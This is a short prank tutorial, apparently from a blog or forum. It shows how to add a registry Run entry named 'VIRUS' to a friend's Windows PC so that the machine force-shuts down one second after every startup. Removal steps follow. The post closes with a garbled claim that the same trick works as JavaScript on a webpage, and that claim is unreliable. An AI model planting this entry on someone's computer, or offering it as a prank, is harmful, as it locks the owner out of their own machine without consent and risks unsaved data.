Shutdown ur Friend's PC When Everytime it Starts

Thats really easy.

Put this followin text in a reg file and run it in the victims PC:

01. Click on Start =>Run (win key+r)

02. Then tpye “regedit” there, this opens up the registry editor, now goto:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

03. Create a new String value: "VIRUS" and type "%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing regedit in start=>run. Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\ Run] and remove the string value named "VIRUS", restart you computer.

You can also put this in a javascript code, just add this code to your webpage.